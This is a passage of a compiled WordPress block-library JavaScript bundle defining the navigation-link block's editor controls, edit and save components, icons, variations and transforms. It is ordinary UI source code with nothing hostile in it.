34129 __next40pxDefaultSize: true,
34130 id: inputId,
34131 label: (0,external_wp_i18n_namespaceObject.__)("Link"),
34132 value: (() => {
34133 if (hasUrlBinding && !isBoundEntityAvailable) {
34134 return "";
34135 }
34136 return inputValue ? (0,external_wp_url_namespaceObject.safeDecodeURI)(inputValue) : "";
34137 })(),
34138 autoComplete: "off",
34139 type: "url",
34140 disabled: hasUrlBinding,
34141 "aria-invalid": hasUrlBinding && !isBoundEntityAvailable ? "true" : void 0,
34142 "aria-describedby": helpTextId,
34143 className: hasUrlBinding && !isBoundEntityAvailable ? "navigation-link-control__input-with-error-suffix" : void 0,
34144 onChange: (newValue) => {
34145 if (isBoundEntityAvailable) {
34146 return;
34147 }
34148 setInputValue(newValue);
34149 },
34150 onFocus: () => {
34151 if (isBoundEntityAvailable) {
34152 return;
34153 }
34154 lastURLRef.current = url;
34155 },
34156 onBlur: () => {
34157 if (isBoundEntityAvailable) {
34158 return;
34159 }
34160 const finalValue = !inputValue ? lastURLRef.current : inputValue;
34161 setInputValue(finalValue);
34162 updateAttributes({ url: finalValue }, setAttributes, {
34163 ...attributes,
34164 url: lastURLRef.current
34165 });
34166 },
34167 help: hasUrlBinding && !isBoundEntityAvailable ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34168 MissingEntityHelp,
34169 {
34170 id: helpTextId,
34171 type: attributes.type,
34172 kind: attributes.kind
34173 }
34174 ) : isBoundEntityAvailable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34175 BindingHelpText,
34176 {
34177 type: attributes.type,
34178 kind: attributes.kind
34179 }
34180 ),
34181 suffix: hasUrlBinding && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34182 external_wp_components_namespaceObject.Button,
34183 {
34184 icon: link_off_default,
34185 onClick: () => {
34186 unsyncBoundLink();
34187 shouldFocusURLInputRef.current = true;
34188 },
34189 "aria-describedby": helpTextId,
34190 showTooltip: true,
34191 label: (0,external_wp_i18n_namespaceObject.__)("Unsync and edit"),
34192 __next40pxDefaultSize: true,
34193 className: hasUrlBinding && !isBoundEntityAvailable ? "navigation-link-control__error-suffix-button" : void 0
34194 }
34195 )
34196 }
34197 )
34198 }
34199 ),
34200 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34201 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
34202 {
34203 hasValue: () => !!opensInNewTab,
34204 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
34205 onDeselect: () => setAttributes({ opensInNewTab: false }),
34206 isShownByDefault: true,
34207 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34208 external_wp_components_namespaceObject.CheckboxControl,
34209 {
34210 __nextHasNoMarginBottom: true,
34211 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
34212 checked: opensInNewTab,
34213 onChange: (value) => setAttributes({ opensInNewTab: value })
34214 }
34215 )
34216 }
34217 ),
34218 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34219 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
34220 {
34221 hasValue: () => !!description,
34222 label: (0,external_wp_i18n_namespaceObject.__)("Description"),
34223 onDeselect: () => setAttributes({ description: "" }),
34224 isShownByDefault: true,
34225 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34226 external_wp_components_namespaceObject.TextareaControl,
34227 {
34228 __nextHasNoMarginBottom: true,
34229 label: (0,external_wp_i18n_namespaceObject.__)("Description"),
34230 value: description || "",
34231 onChange: (descriptionValue) => {
34232 setAttributes({ description: descriptionValue });
34233 },
34234 help: (0,external_wp_i18n_namespaceObject.__)(
34235 "The description will be displayed in the menu if the current theme supports it."
34236 )
34237 }
34238 )
34239 }
34240 ),
34241 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34242 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
34243 {
34244 hasValue: () => !!rel,
34245 label: (0,external_wp_i18n_namespaceObject.__)("Rel attribute"),
34246 onDeselect: () => setAttributes({ rel: "" }),
34247 isShownByDefault: true,
34248 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34249 external_wp_components_namespaceObject.TextControl,
34250 {
34251 __nextHasNoMarginBottom: true,
34252 __next40pxDefaultSize: true,
34253 label: (0,external_wp_i18n_namespaceObject.__)("Rel attribute"),
34254 value: rel || "",
34255 onChange: (relValue) => {
34256 setAttributes({ rel: relValue });
34257 },
34258 autoComplete: "off",
34259 help: (0,external_wp_i18n_namespaceObject.__)(
34260 "The relationship of the linked URL as space-separated link types."
34261 )
34262 }
34263 )
34264 }
34265 )
34266 ]
34267 }
34268 );
34269}
34270function BindingHelpText({ type, kind }) {
34271 const entityType = getEntityTypeName(type, kind);
34272 return (0,external_wp_i18n_namespaceObject.sprintf)(
34273 /* translators: %s is the entity type (e.g., "page", "post", "category") */
34274 (0,external_wp_i18n_namespaceObject.__)("Synced with the selected %s."),
34275 entityType
34276 );
34277}
34278function MissingEntityHelpText({ type, kind }) {
34279 const entityType = getEntityTypeName(type, kind);
34280 return (0,external_wp_i18n_namespaceObject.sprintf)(
34281 /* translators: %s is the entity type (e.g., "page", "post", "category") */
34282 (0,external_wp_i18n_namespaceObject.__)("Synced %s is missing. Please update or remove this link."),
34283 entityType
34284 );
34285}
34286function MissingEntityHelp({ id, type, kind }) {
34287 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { id, className: "navigation-link-control__error-text", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MissingEntityHelpText, { type, kind }) });
34288}
34289
34290
34291;// ./node_modules/@wordpress/block-library/build-module/navigation-link/edit.js
34292
34293
34294
34295
34296
34297
34298
34299
34300
34301
34302
34303
34304
34305
34306
34307
34308const navigation_link_edit_DEFAULT_BLOCK = { name: "core/navigation-link" };
34309const NESTING_BLOCK_NAMES = [
34310 "core/navigation-link",
34311 "core/navigation-submenu"
34312];
34313const useIsDraggingWithin = (elementRef) => {
34314 const [isDraggingWithin, setIsDraggingWithin] = (0,external_wp_element_namespaceObject.useState)(false);
34315 (0,external_wp_element_namespaceObject.useEffect)(() => {
34316 const { ownerDocument } = elementRef.current;
34317 function handleDragStart(event) {
34318 handleDragEnter(event);
34319 }
34320 function handleDragEnd() {
34321 setIsDraggingWithin(false);
34322 }
34323 function handleDragEnter(event) {
34324 if (elementRef.current.contains(event.target)) {
34325 setIsDraggingWithin(true);
34326 } else {
34327 setIsDraggingWithin(false);
34328 }
34329 }
34330 ownerDocument.addEventListener("dragstart", handleDragStart);
34331 ownerDocument.addEventListener("dragend", handleDragEnd);
34332 ownerDocument.addEventListener("dragenter", handleDragEnter);
34333 return () => {
34334 ownerDocument.removeEventListener("dragstart", handleDragStart);
34335 ownerDocument.removeEventListener("dragend", handleDragEnd);
34336 ownerDocument.removeEventListener("dragenter", handleDragEnter);
34337 };
34338 }, [elementRef]);
34339 return isDraggingWithin;
34340};
34341const useIsInvalidLink = (kind, type, id, enabled) => {
34342 const isPostType = kind === "post-type" || type === "post" || type === "page";
34343 const hasId = Number.isInteger(id);
34344 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
34345 const { postStatus, isDeleted } = (0,external_wp_data_namespaceObject.useSelect)(
34346 (select) => {
34347 if (!isPostType) {
34348 return { postStatus: null, isDeleted: false };
34349 }
34350 if (blockEditingMode === "disabled" || !enabled) {
34351 return { postStatus: null, isDeleted: false };
34352 }
34353 const { getEntityRecord, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
34354 const entityRecord = getEntityRecord("postType", type, id);
34355 const hasResolved = hasFinishedResolution("getEntityRecord", [
34356 "postType",
34357 type,
34358 id
34359 ]);
34360 const deleted = hasResolved && entityRecord === void 0;
34361 return {
34362 postStatus: entityRecord?.status,
34363 isDeleted: deleted
34364 };
34365 },
34366 [isPostType, blockEditingMode, enabled, type, id]
34367 );
34368 const isInvalid = isPostType && hasId && (isDeleted || postStatus && "trash" === postStatus);
34369 const isDraft = "draft" === postStatus;
34370 return [isInvalid, isDraft];
34371};
34372function getMissingText(type) {
34373 let missingText = "";
34374 switch (type) {
34375 case "post":
34376 missingText = (0,external_wp_i18n_namespaceObject.__)("Select post");
34377 break;
34378 case "page":
34379 missingText = (0,external_wp_i18n_namespaceObject.__)("Select page");
34380 break;
34381 case "category":
34382 missingText = (0,external_wp_i18n_namespaceObject.__)("Select category");
34383 break;
34384 case "tag":
34385 missingText = (0,external_wp_i18n_namespaceObject.__)("Select tag");
34386 break;
34387 default:
34388 missingText = (0,external_wp_i18n_namespaceObject.__)("Add link");
34389 }
34390 return missingText;
34391}
34392function NavigationLinkEdit({
34393 attributes,
34394 isSelected,
34395 setAttributes,
34396 insertBlocksAfter,
34397 mergeBlocks,
34398 onReplace,
34399 context,
34400 clientId
34401}) {
34402 const { id, label, type, url, description, kind, metadata } = attributes;
34403 const { maxNestingLevel } = context;
34404 const {
34405 replaceBlock,
34406 __unstableMarkNextChangeAsNotPersistent,
34407 selectBlock
34408 } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
34409 const [isLinkOpen, setIsLinkOpen] = (0,external_wp_element_namespaceObject.useState)(isSelected && !url);
34410 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
34411 const listItemRef = (0,external_wp_element_namespaceObject.useRef)(null);
34412 const isDraggingWithin = useIsDraggingWithin(listItemRef);
34413 const itemLabelPlaceholder = (0,external_wp_i18n_namespaceObject.__)("Add label\u2026");
34414 const ref = (0,external_wp_element_namespaceObject.useRef)();
34415 const linkUIref = (0,external_wp_element_namespaceObject.useRef)();
34416 const prevUrl = (0,external_wp_compose_namespaceObject.usePrevious)(url);
34417 const isNewLink = (0,external_wp_element_namespaceObject.useRef)(!url && !metadata?.bindings?.url);
34418 const {
34419 isAtMaxNesting,
34420 isTopLevelLink,
34421 isParentOfSelectedBlock,
34422 hasChildren,
34423 validateLinkStatus,
34424 parentBlockClientId
34425 } = (0,external_wp_data_namespaceObject.useSelect)(
34426 (select) => {
34427 const {
34428 getBlockCount,
34429 getBlockName,
34430 getBlockRootClientId,
34431 hasSelectedInnerBlock,
34432 getBlockParentsByBlockName,
34433 getSelectedBlockClientId
34434 } = select(external_wp_blockEditor_namespaceObject.store);
34435 const rootClientId = getBlockRootClientId(clientId);
34436 const parentBlockName = getBlockName(rootClientId);
34437 const isTopLevel = parentBlockName === "core/navigation";
34438 const selectedBlockClientId = getSelectedBlockClientId();
34439 const rootNavigationClientId = isTopLevel ? rootClientId : getBlockParentsByBlockName(
34440 clientId,
34441 "core/navigation"
34442 )[0];
34443 const parentBlockId = parentBlockName === "core/navigation-submenu" ? rootClientId : rootNavigationClientId;
34444 const enableLinkStatusValidation = selectedBlockClientId === rootNavigationClientId || hasSelectedInnerBlock(rootNavigationClientId, true);
34445 return {
34446 isAtMaxNesting: getBlockParentsByBlockName(clientId, NESTING_BLOCK_NAMES).length >= maxNestingLevel,
34447 isTopLevelLink: isTopLevel,
34448 isParentOfSelectedBlock: hasSelectedInnerBlock(
34449 clientId,
34450 true
34451 ),
34452 hasChildren: !!getBlockCount(clientId),
34453 validateLinkStatus: enableLinkStatusValidation,
34454 parentBlockClientId: parentBlockId
34455 };
34456 },
34457 [clientId, maxNestingLevel]
34458 );
34459 const { getBlocks } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
34460 const {
34461 clearBinding,
34462 createBinding,
34463 hasUrlBinding,
34464 isBoundEntityAvailable
34465 } = useEntityBinding({
34466 clientId,
34467 attributes
34468 });
34469 const [isInvalid, isDraft] = useIsInvalidLink(
34470 kind,
34471 type,
34472 id,
34473 validateLinkStatus
34474 );
34475 const transformToSubmenu = (0,external_wp_element_namespaceObject.useCallback)(() => {
34476 let innerBlocks = getBlocks(clientId);
34477 if (innerBlocks.length === 0) {
34478 innerBlocks = [(0,external_wp_blocks_namespaceObject.createBlock)("core/navigation-link")];
34479 selectBlock(innerBlocks[0].clientId);
34480 }
34481 const newSubmenu = (0,external_wp_blocks_namespaceObject.createBlock)(
34482 "core/navigation-submenu",
34483 attributes,
34484 innerBlocks
34485 );
34486 replaceBlock(clientId, newSubmenu);
34487 }, [getBlocks, clientId, selectBlock, replaceBlock, attributes]);
34488 (0,external_wp_element_namespaceObject.useEffect)(() => {
34489 if (isNewLink.current && isSelected && !url) {
34490 selectBlock(parentBlockClientId);
34491 }
34492 }, []);
34493 (0,external_wp_element_namespaceObject.useEffect)(() => {
34494 if (hasChildren) {
34495 __unstableMarkNextChangeAsNotPersistent();
34496 transformToSubmenu();
34497 }
34498 }, [
34499 hasChildren,
34500 __unstableMarkNextChangeAsNotPersistent,
34501 transformToSubmenu
34502 ]);
34503 (0,external_wp_element_namespaceObject.useEffect)(() => {
34504 if (!prevUrl && url && isLinkOpen && (0,external_wp_url_namespaceObject.isURL)((0,external_wp_url_namespaceObject.prependHTTP)(label)) && /^.+\.[a-z]+/.test(label)) {
34505 selectLabelText();
34506 }
34507 }, [prevUrl, url, isLinkOpen, label]);
34508 function selectLabelText() {
34509 ref.current.focus();
34510 const { ownerDocument } = ref.current;
34511 const { defaultView } = ownerDocument;
34512 const selection = defaultView.getSelection();
34513 const range = ownerDocument.createRange();
34514 range.selectNodeContents(ref.current);
34515 selection.removeAllRanges();
34516 selection.addRange(range);
34517 }
34518 function removeLink() {
34519 setAttributes({
34520 url: void 0,
34521 label: void 0,
34522 id: void 0,
34523 kind: void 0,
34524 type: void 0,
34525 opensInNewTab: false
34526 });
34527 setIsLinkOpen(false);
34528 }
34529 const {
34530 textColor,
34531 customTextColor,
34532 backgroundColor,
34533 customBackgroundColor
34534 } = getColors(context, !isTopLevelLink);
34535 function onKeyDown(event) {
34536 if (external_wp_keycodes_namespaceObject.isKeyboardEvent.primary(event, "k")) {
34537 event.preventDefault();
34538 event.stopPropagation();
34539 setIsLinkOpen(true);
34540 }
34541 }
34542 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(NavigationLinkEdit);
34543 const hasMissingEntity = hasUrlBinding && !isBoundEntityAvailable;
34544 const missingEntityDescriptionId = hasMissingEntity ? (0,external_wp_i18n_namespaceObject.sprintf)("navigation-link-edit-%d-desc", instanceId) : void 0;
34545 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
34546 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([setPopoverAnchor, listItemRef]),
34547 className: dist_clsx("wp-block-navigation-item", {
34548 "is-editing": isSelected || isParentOfSelectedBlock,
34549 "is-dragging-within": isDraggingWithin,
34550 "has-link": !!url,
34551 "has-child": hasChildren,
34552 "has-text-color": !!textColor || !!customTextColor,
34553 [(0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor)]: !!textColor,
34554 "has-background": !!backgroundColor || customBackgroundColor,
34555 [(0,external_wp_blockEditor_namespaceObject.getColorClassName)("background-color", backgroundColor)]: !!backgroundColor
34556 }),
34557 "aria-describedby": missingEntityDescriptionId,
34558 "aria-invalid": hasMissingEntity,
34559 style: {
34560 color: !textColor && customTextColor,
34561 backgroundColor: !backgroundColor && customBackgroundColor
34562 },
34563 onKeyDown
34564 });
34565 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
34566 {
34567 ...blockProps,
34568 className: "remove-outline"
34569 // Remove the outline from the inner blocks container.
34570 },
34571 {
34572 defaultBlock: navigation_link_edit_DEFAULT_BLOCK,
34573 directInsert: true,
34574 renderAppender: false
34575 }
34576 );
34577 if (!url || isInvalid || isDraft || hasUrlBinding && !isBoundEntityAvailable) {
34578 blockProps.onClick = () => {
34579 setIsLinkOpen(true);
34580 };
34581 }
34582 const classes = dist_clsx("wp-block-navigation-item__content", {
34583 "wp-block-navigation-link__placeholder": !url || isInvalid || isDraft || hasUrlBinding && !isBoundEntityAvailable
34584 });
34585 const missingText = getMissingText(type);
34586 const placeholderText = `(${isInvalid ? (0,external_wp_i18n_namespaceObject.__)("Invalid") : (0,external_wp_i18n_namespaceObject.__)("Draft")})`;
34587 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
34588 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ToolbarGroup, { children: [
34589 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34590 external_wp_components_namespaceObject.ToolbarButton,
34591 {
34592 name: "link",
34593 icon: link_default,
34594 title: (0,external_wp_i18n_namespaceObject.__)("Link"),
34595 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary("k"),
34596 onClick: () => {
34597 setIsLinkOpen(true);
34598 }
34599 }
34600 ),
34601 !isAtMaxNesting && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34602 external_wp_components_namespaceObject.ToolbarButton,
34603 {
34604 name: "submenu",
34605 icon: add_submenu_default,
34606 title: (0,external_wp_i18n_namespaceObject.__)("Add submenu"),
34607 onClick: transformToSubmenu
34608 }
34609 )
34610 ] }) }),
34611 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34612 controls_Controls,
34613 {
34614 attributes,
34615 setAttributes,
34616 clientId
34617 }
34618 ) }),
34619 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
34620 hasMissingEntity && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: missingEntityDescriptionId, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MissingEntityHelpText, { type, kind }) }),
34621 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("a", { className: classes, children: [
34622 !url && !metadata?.bindings?.url ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-navigation-link__placeholder-text", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: missingText }) }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
34623 !isInvalid && !isDraft && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
34624 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34625 external_wp_blockEditor_namespaceObject.RichText,
34626 {
34627 ref,
34628 identifier: "label",
34629 className: "wp-block-navigation-item__label",
34630 value: label,
34631 onChange: (labelValue) => setAttributes({
34632 label: labelValue
34633 }),
34634 onMerge: mergeBlocks,
34635 onReplace,
34636 __unstableOnSplitAtEnd: () => insertBlocksAfter(
34637 (0,external_wp_blocks_namespaceObject.createBlock)(
34638 "core/navigation-link"
34639 )
34640 ),
34641 "aria-label": (0,external_wp_i18n_namespaceObject.__)(
34642 "Navigation link text"
34643 ),
34644 placeholder: itemLabelPlaceholder,
34645 withoutInteractiveFormatting: true
34646 }
34647 ),
34648 description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "wp-block-navigation-item__description", children: description })
34649 ] }),
34650 (isInvalid || isDraft) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34651 "div",
34652 {
34653 className: dist_clsx(
34654 "wp-block-navigation-link__placeholder-text",
34655 "wp-block-navigation-link__label",
34656 {
34657 "is-invalid": isInvalid,
34658 "is-draft": isDraft
34659 }
34660 ),
34661 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
34662 // Some attributes are stored in an escaped form. It's a legacy issue.
34663 // Ideally they would be stored in a raw, unescaped form.
34664 // Unescape is used here to "recover" the escaped characters
34665 // so they display without encoding.
34666 // See `updateAttributes` for more details.
34667 children: `${(0,external_wp_htmlEntities_namespaceObject.decodeEntities)(label)} ${isInvalid || isDraft ? placeholderText : ""}`.trim()
34668 })
34669 }
34670 )
34671 ] }),
34672 isLinkOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34673 LinkUI,
34674 {
34675 ref: linkUIref,
34676 clientId,
34677 link: attributes,
34678 onClose: () => {
34679 setIsLinkOpen(false);
34680 if (!url && !hasUrlBinding) {
34681 onReplace([]);
34682 } else if (isNewLink.current) {
34683 selectBlock(clientId);
34684 }
34685 },
34686 anchor: popoverAnchor,
34687 onRemove: removeLink,
34688 onChange: (updatedValue) => {
34689 const {
34690 isEntityLink,
34691 attributes: updatedAttributes
34692 } = updateAttributes(
34693 updatedValue,
34694 setAttributes,
34695 attributes
34696 );
34697 if (isEntityLink) {
34698 createBinding(updatedAttributes);
34699 } else {
34700 clearBinding(updatedAttributes);
34701 }
34702 }
34703 }
34704 )
34705 ] }),
34706 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps })
34707 ] })
34708 ] });
34709}
34710
34711
34712;// ./node_modules/@wordpress/block-library/build-module/navigation-link/save.js
34713
34714
34715function navigation_link_save_save() {
34716 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
34717}
34718
34719
34720;// ./node_modules/@wordpress/icons/build-module/library/tag.js
34721
34722
34723var tag_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z" }) });
34724
34725
34726;// ./node_modules/@wordpress/icons/build-module/library/custom-post-type.js
34727
34728
34729var custom_post_type_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4zm.8-4l.7.7 2-2V12h1V9.2l2 2 .7-.7-2-2H12v-1H9.2l2-2-.7-.7-2 2V4h-1v2.8l-2-2-.7.7 2 2H4v1h2.8l-2 2z" }) });
34730
34731
34732;// ./node_modules/@wordpress/block-library/build-module/navigation-link/hooks.js
34733
34734function getIcon(variationName) {
34735 switch (variationName) {
34736 case "post":
34737 return post_list_default;
34738 case "page":
34739 return page_default;
34740 case "tag":
34741 return tag_default;
34742 case "category":
34743 return category_default;
34744 default:
34745 return custom_post_type_default;
34746 }
34747}
34748function enhanceNavigationLinkVariations(settings, name) {
34749 if (name !== "core/navigation-link") {
34750 return settings;
34751 }
34752 if (settings.variations) {
34753 const isActive = (blockAttributes, variationAttributes) => {
34754 return blockAttributes.type === variationAttributes.type;
34755 };
34756 const variations = settings.variations.map((variation) => {
34757 return {
34758 ...variation,
34759 ...!variation.icon && {
34760 icon: getIcon(variation.name)
34761 },
34762 ...!variation.isActive && {
34763 isActive
34764 }
34765 };
34766 });
34767 return {
34768 ...settings,
34769 variations
34770 };
34771 }
34772 return settings;
34773}
34774
34775
34776;// ./node_modules/@wordpress/block-library/build-module/navigation-link/transforms.js
34777
34778const navigation_link_transforms_transforms = {
34779 from: [
34780 {
34781 type: "block",
34782 blocks: ["core/site-logo"],
34783 transform: () => {
34784 return (0,external_wp_blocks_namespaceObject.createBlock)("core/navigation-link");
34785 }
34786 },
34787 {
34788 type: "block",
34789 blocks: ["core/spacer"],
34790 transform: () => {
34791 return (0,external_wp_blocks_namespaceObject.createBlock)("core/navigation-link");
34792 }
34793 },
34794 {
34795 type: "block",
34796 blocks: ["core/home-link"],
34797 transform: () => {
34798 return (0,external_wp_blocks_namespaceObject.createBlock)("core/navigation-link");
34799 }
34800 },
34801 {
34802 type: "block",
34803 blocks: ["core/social-links"],
34804 transform: () => {
34805 return (0,external_wp_blocks_namespaceObject.createBlock)("core/navigation-link");
34806 }
34807 },
34808 {
34809 type: "block",
34810 blocks: ["core/search"],
34811 transform: () => {
34812 return (0,external_wp_blocks_namespaceObject.createBlock)("core/navigation-link");
34813 }
34814 },
34815 {
34816 type: "block",
34817 blocks: ["core/page-list"],
34818 transform: () => {
34819 return (0,external_wp_blocks_namespaceObject.createBlock)("core/navigation-link");
34820 }
34821 },
34822 {
34823 type: "block",
34824 blocks: ["core/buttons"],
34825 transform: () => {
34826 return (0,external_wp_blocks_namespaceObject.createBlock)("core/navigation-link");
34827 }
34828 }
34829 ],
34830 to: [
34831 {
34832 type: "block",
34833 blocks: ["core/navigation-submenu"],
34834 transform: (attributes, innerBlocks) => (0,external_wp_blocks_namespaceObject.createBlock)(
34835 "core/navigation-submenu",
34836 attributes,
34837 innerBlocks
34838 )
34839 },
34840 {
34841 type: "block",
34842 blocks: ["core/spacer"],
34843 transform: () => {
34844 return (0,external_wp_blocks_namespaceObject.createBlock)("core/spacer");
34845 }
34846 },
34847 {
34848 type: "block",
34849 blocks: ["core/site-logo"],
34850 transform: () => {
34851 return (0,external_wp_blocks_namespaceObject.createBlock)("core/site-logo");
34852 }
34853 },
34854 {
34855 type: "block",
34856 blocks: ["core/home-link"],
34857 transform: () => {
34858 return (0,external_wp_blocks_namespaceObject.createBlock)("core/home-link");
34859 }
34860 },
34861 {
34862 type: "block",
34863 blocks: ["core/social-links"],
34864 transform: () => {
34865 return (0,external_wp_blocks_namespaceObject.createBlock)("core/social-links");
34866 }
34867 },
34868 {
34869 type: "block",
34870 blocks: ["core/search"],
34871 transform: () => {
34872 return (0,external_wp_blocks_namespaceObject.createBlock)("core/search", {
34873 showLabel: false,
34874 buttonUseIcon: true,
34875 buttonPosition: "button-inside"
34876 });
34877 }
34878 },
34879 {
34880 type: "block",
34881 blocks: ["core/page-list"],
34882 transform: () => {
34883 return (0,external_wp_blocks_namespaceObject.createBlock)("core/page-list");
34884 }
34885 },
34886 {
34887 type: "block",
34888 blocks: ["core/buttons"],
34889 transform: ({ label, url, rel, title, opensInNewTab }) => {
34890 return (0,external_wp_blocks_namespaceObject.createBlock)("core/buttons", {}, [
34891 (0,external_wp_blocks_namespaceObject.createBlock)("core/button", {
34892 text: label,
34893 url,
34894 rel,
34895 title,
34896 linkTarget: opensInNewTab ? "_blank" : void 0
34897 })
34898 ]);
34899 }
34900 }
34901 ]
34902};
34903var navigation_link_transforms_transforms_default = navigation_link_transforms_transforms;
34904
34905
34906;// ./node_modules/@wordpress/block-library/build-module/navigation-link/index.js
34907
34908
34909
34910
34911
34912
34913
34914
34915
34916
34917
34918const { name: navigation_link_name } = navigation_link_block_namespaceObject;
34919const navigation_link_settings = {
34920 icon: custom_link_default,
34921 __experimentalLabel: ({ label }) => label,
34922 merge(leftAttributes, { label: rightLabel = "" }) {
34923 return {
34924 ...leftAttributes,
34925 label: leftAttributes.label + rightLabel
34926 };
34927 },
34928 edit: NavigationLinkEdit,
34929 save: navigation_link_save_save,
34930 example: {
34931 attributes: {
34932 label: (0,external_wp_i18n_namespaceObject._x)("Example Link", "navigation link preview example"),
34933 url: "https://example.com"
34934 }
34935 },
34936 deprecated: [
34937 {
34938 isEligible(attributes) {
34939 return attributes.nofollow;
34940 },
34941 attributes: {
34942 label: {
34943 type: "string"
34944 },
34945 type: {
34946 type: "string"
34947 },
34948 nofollow: {
34949 type: "boolean"
34950 },
34951 description: {
34952 type: "string"
34953 },
34954 id: {
34955 type: "number"
34956 },
34957 opensInNewTab: {
34958 type: "boolean",
34959 default: false
34960 },
34961 url: {
34962 type: "string"
34963 }
34964 },
34965 migrate({ nofollow, ...rest }) {
34966 return {
34967 rel: nofollow ? "nofollow" : "",
34968 ...rest
34969 };
34970 },
34971 save() {
34972 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
34973 }
34974 }
34975 ],
34976 transforms: navigation_link_transforms_transforms_default
34977};
34978const navigation_link_init = () => {
34979 (0,external_wp_hooks_namespaceObject.addFilter)(
34980 "blocks.registerBlockType",
34981 "core/navigation-link",
34982 enhanceNavigationLinkVariations
34983 );
34984 return initBlock({ name: navigation_link_name, metadata: navigation_link_block_namespaceObject, settings: navigation_link_settings });
34985};
34986
34987
34988;// ./node_modules/@wordpress/block-library/build-module/navigation-submenu/block.json
